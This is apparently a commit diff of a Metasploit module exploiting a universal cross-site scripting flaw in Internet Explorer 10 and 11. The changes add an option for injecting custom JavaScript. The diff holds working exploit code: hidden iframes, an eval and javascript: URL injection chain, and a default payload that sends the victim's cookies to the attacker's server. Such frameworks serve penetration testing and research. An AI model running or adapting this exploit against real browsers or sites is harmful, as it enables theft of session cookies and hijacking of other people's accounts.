@@ -11,11 +11,12 @@ class Metasploit3 < Msf::Auxiliary
11
11
12
12
def initialize ( info = { } )
13
13
super ( update_info ( info ,
14
- 'Name' => "Microsoft Internet Explorer 10 and 11 Cross-Domain Cookie Stealing " ,
14
+ 'Name' => "Microsoft Internet Explorer 10 and 11 Cross-Domain JavaScript Injection " ,
15
15
'Description' => %q{
16
16
This module exploits a universal cross-site scripting (UXSS) vulnerability found in Internet
17
17
Explorer 10 and 11. It will steal the cookie of a specific webiste (set by the TARGET_URI
18
18
datastore option). You will also most likely need to configure the URIHOST if you are behind NAT.
19
+ If CUSTOMJS isn't specified, a default cookie stealer will kick in.
19
20
} ,
20
21
'License' => MSF_LICENSE ,
21
22
'Author' =>
@@ -36,7 +37,8 @@ def initialize(info={})
36
37
37
38
register_options (
38
39
[
39
- OptString . new ( 'TARGET_URI' , [ true , 'The URL for the target iframe' ] )
40
+ OptString . new ( 'TARGET_URI' , [ true , 'The URL for the target iframe' ] ) ,
41
+ OptString . new ( 'CUSTOMJS' , [ false , 'Custom JavaScript' ] )
40
42
] , self . class )
41
43
end
42
44
@@ -94,12 +96,17 @@ def server_uri
94
96
@server_uri ||= get_uri
95
97
end
96
98
99
+ def js
100
+ datastore [ 'CUSTOMJS' ] || %Q|var e = document.createElement('img'); e.src='#{ server_uri } /#{ ninja_cookie_stealer_name } ?data=' + encodeURIComponent(document.cookie);|
101
+ end
102
+
97
103
def html
98
104
%Q|
99
105
<iframe style="display:none" src="#{ get_resource } /redirect.php"></iframe>
100
106
<iframe style="display:none" src="#{ datastore [ 'TARGET_URI' ] } "></iframe>
101
107
<script>
102
- var payload = "var e = document.createElement('img'); e.src='#{ server_uri } /#{ ninja_cookie_stealer_name } ?data=' + encodeURIComponent(document.cookie);"
108
+ window.onmessage = function(e){ top[1].postMessage(atob("#{ Rex ::Text . encode_base64 ( js ) } "),"*"); };
109
+ var payload = 'window.onmessage=function(e){ setTimeout(e.data); }; top.postMessage(\\ \\ "\\ \\ ",\\ \\ "*\\ \\ ")';
103
110
top[0].eval('_=top[1];with(new XMLHttpRequest)open("get","#{ get_resource } /sleep.php",false),send();_.location="javascript:%22%3Cscript%3E'+ encodeURIComponent(payload) +'%3C%2Fscript%3E%22"');
104
111
</script>
105
112
|
0 commit comments